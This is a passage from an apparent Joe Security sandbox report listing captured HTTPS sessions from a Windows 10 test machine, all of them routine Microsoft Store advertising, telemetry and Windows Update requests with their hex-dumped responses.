
Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:46 UTC 9049 OUT POST /v3/Delivery/Events/Impression HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Content-Length: 2788
Content-Type: text/plain; charset=UTF-8
Host: arc.msn.com
Connection: Keep-Alive
Cache-Control: no-cache

2022-06-08 07:56:46 UTC 9049 OUT Data Raw: 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 54 49 44 3d 37 30 30 33 34 32 30 38 35 26 43 49 44 3d 31 32 38 
30 30 30 30 30 30 30 30 31 33 39 32 37 32 39 26 42 49 44 3d 31 32 38 34 32 39 38 38 34 31 26 50 47 3d 50 43 30 30 30 
50 30 46 52 35 2e 30 30 30 30 30 30 30 49 51 38 26 54 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 52 45 51 41 53 49 44 
3d 36 36 42 43 42 43 30 36 30 39 44 33 34 36 36 43 38 41 30 35 33 39 44 38 30 35 45 45 36 46 43 33 26 41 53 49 44 3d 
35 37 64 39 35 31 33 36 30 63 64 64 34 63 38 66 61 63 35 61 32 33 33 39 34 37 62 30 65 35 39 35 26 54 49 4d 45 3d 32 
30 32 32 30 36 30 38 54 31 36 35 36 32 36 5a 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 32 30 36 30 38 54 30 37 
35 33 34 39 26 4d 41 5f 53 63 6f 72 65 3d 32 26 4c 4f 43 41 4c 49 44 3d 77 
Data Ascii: PID=425106558&TID=700342085&CID=128000000001392729&BID=1284298841&PG=PC000P0FR
5.0000000IQ8&TPID=425106558&REQASID=66BCBC0609D3466C8A0539D805EE6FC3&ASID=57d951360cdd4c8f
ac5a233947b0e595&TIME=20220608T165626Z&SLOT=2&REQT=20220608T075349&MA_Score=2&LOCALID=w

2022-06-08 07:56:46 UTC 9052 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/xml; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: []
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Wed, 08 Jun 2022 07:56:45 GMT
Connection: close
Content-Length: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

65 192.168.2.3 49793 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:47 UTC 9052 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&c
id=128000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i
.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165607Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:47 UTC 9053 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: df1034f2-f621-4cca-93c0-56494abed027
Date: Wed, 08 Jun 2022 07:56:46 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

66 192.168.2.3 49794 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:48 UTC 9053 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165608Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
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2022-06-08 07:56:48 UTC 9053 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 98d9bf00-5f51-4bbf-bd53-41f2deef7bad
Date: Wed, 08 Jun 2022 07:56:48 GMT
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

67 192.168.2.3 49796 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:53 UTC 9054 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165609Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:53 UTC 9054 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 3b948ec3-9793-4813-b335-77a3e76c931c
Date: Wed, 08 Jun 2022 07:56:53 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

68 192.168.2.3 49795 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:53 UTC 9054 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:56:53 UTC 9055 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: bacc5c8f-6ada-4926-a778-757d61d2f024
MS-RequestId: 28d690f1-7cb7-402f-976d-7367b3bcc870
MS-CV: SP6s0SUv4E2N/NKn.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:56:52 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:56:53 UTC 9055 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:56:53 UTC 9071 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
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2022-06-08 07:56:53 UTC 9087 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

69 192.168.2.3 49797 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:53 UTC 9090 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165610Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:53 UTC 9091 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: e65d56f9-33b6-4238-b4c7-00fa81f78efb
Date: Wed, 08 Jun 2022 07:56:53 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

7 192.168.2.3 49711 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:53 UTC 77 OUT GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2
aa4f3afe248?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:53 UTC 78 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 4765
Content-Type: image/png
Last-Modified: Wed, 04 Mar 2020 18:13:05 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QUY0QThGRjc"
MS-CV: 0gdTj9M+eE6j3uUJ.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:53 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:53 UTC 78 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
12 64 49 44 41 54 78 5e ec d4 41 0d 00 20 10 03 b0 1d c1 bf e5 a1 81 e7 25 ad 88 4e db 6c 00 70 f2 0b 40 58 00 c2 02 
84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 
c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 
84 05 08 0b 40 58 00 c2 02 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 84 05 08 0b 40 58 00 
c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 
61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 
Data Ascii: PNGIHDR,,y}udIDATx^A %Nlp@X ,aa@X@X ,aa@X ,@X ,a@X ,@X ,a@X ,aa@X ,@X ,aa@X ,@X

Session ID Source IP Source Port Destination IP
Destination
Port

Process

70 192.168.2.3 49798 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:53 UTC 9091 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165611Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:53 UTC 9092 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: fdaaa1b5-bc4d-4fc3-b698-f1b105c1664f
Date: Wed, 08 Jun 2022 07:56:53 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

71 192.168.2.3 49799 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:54 UTC 9092 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165615Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:54 UTC 9092 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 6546d560-1cb9-4ab3-b367-1e2ff274a7d3
Date: Wed, 08 Jun 2022 07:56:53 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

72 192.168.2.3 49800 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:54 UTC 9092 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165616Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:54 UTC 9093 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 5bc33d0f-9695-4d34-a5c7-5774ab4a258e
Date: Wed, 08 Jun 2022 07:56:54 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

73 192.168.2.3 49801 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:55 UTC 9093 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165616Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:55 UTC 9094 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 13a9b615-9772-4689-8dcf-0edc5ce5592a
Date: Wed, 08 Jun 2022 07:56:54 GMT
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

74 192.168.2.3 49802 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:55 UTC 9094 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165618Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:55 UTC 9095 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: e142056d-95dd-4148-bf90-e79fcc45d64e
Date: Wed, 08 Jun 2022 07:56:55 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

75 192.168.2.3 49804 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:55 UTC 9095 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165620Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:55 UTC 9095 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 520cc68b-0405-4236-82f0-ab3c46eb8670
Date: Wed, 08 Jun 2022 07:56:55 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

76 192.168.2.3 49803 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 192 of 211



2022-06-08 07:56:55 UTC 9096 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:56:55 UTC 9096 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 3d1bb777-f867-46ce-ae3a-25b2eaf90d18
MS-RequestId: 0ef972c2-0350-4622-a751-c86cf911d2ba
MS-CV: dQsgejhU8EO9sobj.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:56:55 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:56:55 UTC 9096 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:56:55 UTC 9112 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:56:55 UTC 9128 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

77 192.168.2.3 49805 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:56 UTC 9131 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165622Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:56 UTC 9132 IN HTTP/1.1 204 No Content
Content-Length: 0
